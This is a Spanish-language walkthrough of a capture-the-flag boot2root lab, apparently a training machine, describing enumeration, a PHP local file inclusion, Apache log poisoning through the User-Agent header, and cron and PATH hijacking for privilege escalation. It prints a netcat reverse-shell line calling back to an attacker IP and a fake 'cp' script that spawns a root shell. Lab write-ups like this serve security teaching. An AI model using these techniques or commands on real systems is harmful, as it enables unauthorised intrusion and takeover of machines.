Introduction

Una máquina boot2root de explotación web con LFI y escalada de privilegios. Una compañía de soluciones de seguridad parece haber estado haciendo algunas pruebas en su máquina en producción, hora de explotarlo.
Getting the Flags
Reconocimiento Inicial
Comenzamos analizando los puertos abiertos de la máquina.

Ahora sobre los puertos abiertos vamos a hacer más pruebas.

Vamos a listar directorios web ahora.

Vamos a ver cómo es la web.

Ahora vamos a ver cómo son las páginas que hemos encontrado.
La página de flags.html nos redirige a un vídeo de RickRoll y la de gallery.html sólo tiene imágenes placeholder. Vamos a seguir investigando la página.
Si investigamos podemos encontrar un formulario para dejar mensajes.

Después de un rato buscando y no ver nada decidí escanear la red de la máquina en busca de hosts activos, y allí fue donde encontré esto:

Profundización
Vamos pues a escanear los puertos que tiene abiertos más a fondo.

Vamos a listar directorios web de esta segunda máquina.

Vamos a ver qué hay en la web.

Si miramos el código fuente:

Parece interesante.
Vamos a seguir buscando porque nos piden un nombre de host diferente y todavía no lo hemos encontrado.

Parece que hemos encontrado el dominio, vamos a registrarlo en /etc/hosts y a ver qué hay.

Parece que acabamos de obtener la primera flag. Vamos ahora a listar directorios de esta web.

Vamos a ver qué hay en dichas páginas.

Vamos a ver qué hace el botón.

Explotación
Después de probar muchos payloads y que ninguno funcionara busqué cómo hacer LFI en PHP y encontré lo siguiente:

Vamos a probarlo.

Nos ha cargado una cadena en base64, vamos a decodearla:

Así encontramos la segunda flag. Nos fijamos en que no todo está protegido en la LFI, por lo que vamos a guardarnos esta lista y a probar fuzzeando.

Vamos a probar con uno de los que aparentemente han funcionado.

CAUTION: Si no funciona
/var/log/apache2/access.logpero otros archivos como/etc/passwdo/var/log/apache2/error.logsí funcionan, reinicia la máquina, estuve aquí atascado muchas horas.
Visto esto, vamos a intentar hacer un poison del log mediante el header User-Agent. Vamos a abrir Burp Suite y a capturar una petición.

Y ahora vamos a cambiar el User-Agent por una reverse shell.

La mandamos y nos ponemos en escucha.

Y al cargar el log:

Recibimos la shell:

Procedemos a estabilizarla.

Vamos a buscar la flag.

Si intentamos mirar las carpetas del directorio home de archangel, no nos deja.

Habrá que pivotar hacia archangel. Después de un poco buscando encuentro que hay un script que se ejecuta cada minuto.

Vamos a ver de qué se trata.

Permisos 777 en un archivo que se ejecuta con cron como un usuario en específico (nuestra gallina de los huevos de oro). Vamos a modificarlo y a esperar. Pondremos lo siguiente:
#!/bin/bash echo "nc 192.168.196.119 8888 -e /bin/bash" >> /opt/helloworld.sh #Sustituye tu IP y puerto
Nos ponemos en escucha:

Cambiamos el archivo:

Y esperamos a que nos llegue:
Escalada de Privilegios
Vamos a ver lo que contiene su directorio home (después de estabilizarla, claro).

Parece que hay un backup de la contraseña y un binario SUID. Vamos a investigar.

Es un vídeo de RickRoll. Vamos a ver la flag del segundo usuario.

Vamos a intentar escalar a root. Vamos a ver qué hace el SUID.

Aquí podemos ver un comando que parece no estar escrito con ruta absoluta: cp. Vamos a ver si el PATH es escribible.

Hemos conseguido meter una ruta escribible por nosotros al principio del PATH, por lo que si estábamos en lo cierto, ahora el script buscará cp en esa ruta primero. Vamos a escribir un archivo llamado cp con el siguiente contenido:
#!/bin/bash /bin/bash

Perfecto, ahora ejecutamos el binario.

Y con esto hemos obtenido la shell, vamos a ver si encontramos la flag de root.
Conclusión
Una máquina divertida que nos ayuda a ver cómo convertir un LFI a RCE mediante log poisoning. Hemos trabajado:
- Enumeración
- LFI
- Log poisoning
- Escalada de privilegios horizontal
- Escalada de privilegios vertical
